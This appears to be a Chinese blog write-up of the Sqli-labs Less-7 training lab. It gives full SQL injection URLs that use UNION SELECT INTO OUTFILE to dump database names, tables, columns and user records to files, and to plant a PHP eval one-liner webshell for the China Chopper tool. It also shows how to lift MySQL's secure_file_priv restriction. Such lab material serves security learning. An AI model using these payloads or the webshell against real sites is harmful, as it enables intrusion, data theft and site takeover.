Sqli-labs之Less-7

                                             Less-7

GET - 导入文件 - 字符串

分析数字型/字符型(单/双引号)注入:

    我们可以分别尝试将 ?id=1    ?id=1'   ?id=1"  添加到url中,进行测试,发现?id=1'报错,初步判断为字符型注入,经过测试后发现正常返回 You are in.... Use outfile......   错误返回 You have an error in your SQL syntax

接下来我们测试 ?id=1' 是否是注入点(利用 or 1=1  或者 and 1=1等方法):

发现报错,那么接下来 分析是否存在括号及其个数,依次增加括号个数,直到回显正常:

由此可推断出,这是带双括号的单引号注入,那么我们对比一下源码:

发现我们的验证是正确的,接下来就是注入了,我们从本关的标题了解到: dump into outfile,意思是本关我们利用文件导入的方式进行注入。(在补充下载源码中我们发现,print_f(mysql_error()) 被注释掉了说明我们不能 基于报错来进行注入,但我们以使用布尔盲注,直接套Less-5的表达式就能得出我们想要的信息,但这不是本关的意图。)

那么我们使用 导出文件开始注入吧:(两种思路)

第一种思路:

 1. 先导出文件,导出文件就是可以向服务器写入文件,但是利用的时候要知道数据库,网站的路径,但在Less-7下我们无法获取到网站路径,因为它报错不在返回报错的数据库信息,那么怎么办?很简单,在Less 1-6关中是返回报错信息的,那么我们随便挑一关进行报错注入,来获取我们想要的信息,这里以Lese-1为例获取网站的绝对路径:(@@datadir获取数据库存储数据路径 ,@@basedir是MYSQL获取安装路径)

http://192.168.33.1/sqli/Less-1/?id=-1' union select 1,2,@@datadir -- #

@@datadir返回的是数据库存储数据的路径,而我们知道网站路径是在WWW目录下,那么结合@@datadir我们可以推断出网站的绝对路径为 C:\phpStudy\www\

(PS:实际上我们要获得一个网站的绝对路径是很困难的)

2.读写权限测试:

id=1')) and (select count(*) from mysql.user)>0 --+ 如果返回正常则有读取权限

返回正常,说明具有文件读取权限

提示:

     MySQL是通过权限表来控制用户对数据库访问的,权限表存放在mysql数据库中,主要的权限表有以下几个:user,db,host,table_priv,columns_priv和procs_priv,详细了解:https://www.cnblogs.com/liuhaidon/archive/2019/09/12/11511129.html。(我已保存到 第一部分:1.MySQL数据库的基础知识

3.利用into outfile 进行演示:

http://192.168.33.1/sqli/Less-7/?id=1')) union select 1,2,3 into outfile "C:\\phpStudy\\WWW\\sqli\\Less-7\\test.txt" -- #

上图中显示 sql 出错了,但是没有关系,我们可以在浏览器或后台中看到 test.txt 文件已经生成了

http://192.168.33.1/sqli/Less-7/?id=-1')) union select 1,2,3 into outfile "C:\\phpStudy\\WWW\\sqli\\Less-7\\test.txt" -- #

(这里用-1还是1,实际上是没多大区别的,因为union是联合查询。)

注意:

C:\\phpStudy\\WWW\\sqli\\Less-7\\是当前关卡的路径,当然如果想直接放在WWW目录下也是一样的:

提示:

反斜杠“\”是Windows系统文件目录结构使用的分隔符,如:D:\我的文档。只有 windows 支持反斜杠路径符 \ ,而所有系统支持 /

但是我们还应该知道 \ 也是转义字符,在url中他会当成转义字符处理,所以我们用 \\ 对反斜杠进行转义,那么结果就变成了一个反斜杠。

4.导入到文件我们可以直接将一句话木马导入进去----(注意:$_POST是php的内置变量,而且php还区分大小写的,所以这里一定要写正确)

http://192.168.33.1/sqli/Less-7/?id=1')) union select 1,2,'<?php @eval($_POST["mima"])?>' into outfile "C:\\phpStudy\\WWW\\sqli\\Less-7\\test.php" -- #

访问页面

对比后台查看php代码:

接下来用菜刀等 webshell 管理工具连接即可,这里使用“菜刀”进行演示(菜刀不会的请自行百度):

第二种思路:

注意:

对文件进行导入导出首先得要有足够的权限,
但是mysql默认不能导入和导出文件,这与secure_file_priv的值有关(默认为null)
secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
1、当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
2、当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
3、当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
用以下命令查看secure_file_priv的值

show variables like '%secure%';


如果是null,想得到导入导出权限,可以在my.ini文件[mysqld]的后面加上secure_file_priv=''(两个英文单引号),然后重启phpstudy即可

还要注意的是:
1、outfire 后面的路径为绝对路径且存在
2、要有足够的权限
3、注入的内容也可以是字符串,句子
4、要想注入新内容,需要新的文件名

这里写入文件的时候,需要注意的是利用数据库file权限向操作系统写入文件时,对于相同文件名的文件不能覆盖,所以如果第一次上传test.php,下次再上传test.php,就是无效命令了,也就是新的test.php中的内容并不会覆盖之前的test.php

1.获取字段数:

http://192.168.33.1/sqli/Less-7/?id=1')) order by 3 -- #

http://192.168.33.1/sqli/Less-7/?id=1')) order by 4 -- #

对比两张图可知当前表有3个字段。

2.导出数据库名

http://192.168.33.1/sqli/Less-7/?id=-1')) union select 1,user(),database() into outfile "C:\\phpStudy\\WWW\\sqli\\Less-7\\aaa.txt" -- #

(PS: 让id=-1是因为我们不需要id为几的数据,我们要的是联合查询union后面查询的数据。)

页面访问

对比后台:

2.导出表名

http://192.168.33.1/sqli/Less-7/?id=-1')) union select 1,2,table_name from information_schema.tables where table_schema='security' into outfile "C:\\phpStudy\\WWW\\sqli\\Less-7\\bbb.txt" -- #

(注意:这里文件名换了。要想注入新内容,需要新的文件名

页面访问:

对比后台:

3.导出字段名

http://192.168.33.1/sqli/Less-7/?id=-1')) union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='users' into outfile "C:\\phpStudy\\WWW\\sqli\\Less-7\\ccc.txt" -- #

页面访问:

对比后台:

4.导出数据

http://192.168.33.1/sqli/Less-7/?id=-1')) union select * from users into outfile "C:\\phpStudy\\WWW\\sqli\\Less-7\\ddd.txt" -- #

页面访问:

对比后台:

5.使用菜刀

中国菜刀是一款专业网站管理软件,用途广泛,使用方便,小巧实用,更多的利用方式是用它来连接放在网站上的木马,来对被攻击的网站进行管理。

在该题中,若能将一句话木马<?php eval($_POST["密码"]);?>上传至站点的根目录或该web项目的文件夹,(前提secure_file_priv的值没有具体值时,即不对mysqld 的导入|导出做限制---该题是不对文件的导入导出做限制的,如果你的被限制了,请在自己的环境中打开此权限),便可用中国菜刀连接webshell地址拿下整个站点。

导入一句话木马:

http://192.168.33.1/sqli/Less-7/?id=1')) union select 1,2,'<?php @eval($_POST["mima"])?>' into outfile "C:\\phpStudy\\WWW\\sqli\\Less-7\\test.php" -- #

接下来的步骤与前面的一样,不再重复了。


最后介绍下导入导出函数,现在了解即可,因为下面有的我还没具体使用过

@@datadir——数据库存储路径
@@basedir——Mysql安装路径
dumpfile——导出文件,类似outfile;不同的是,dumpfile一次导出一行,会和limit结合使用
load_file()——将文件导入mysql,用法select load_file("文件路径")

使用select ... into outfile以逗号分隔字段的方式将数据导入到一个文件中:
select * into outfile 'D:\\log1.txt' fields terminated by ',' from log.log1

将刚刚导出的文件log1.txt导入到表log1相同结构的log2中:
load data infile 'D:\\log1.txt' into table aa.log2 fields terminated by ','

使用select * into outfile导出:
select * into outfile 'D:\\test.txt' fields terminated by ',' optionally enclosed by '"' lines terminated by '\n' from test.table

导入:
load data infile '/tm/fi.txt' into table test.fii fields terminated by ',' optionally enclosed by '"' lines terminated by '\n'

fields terminated by ','——字段间分割符
optionally enclosed by '"'——将字段包围,对数值型无效
lines terminated by '\n'——换行符



 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值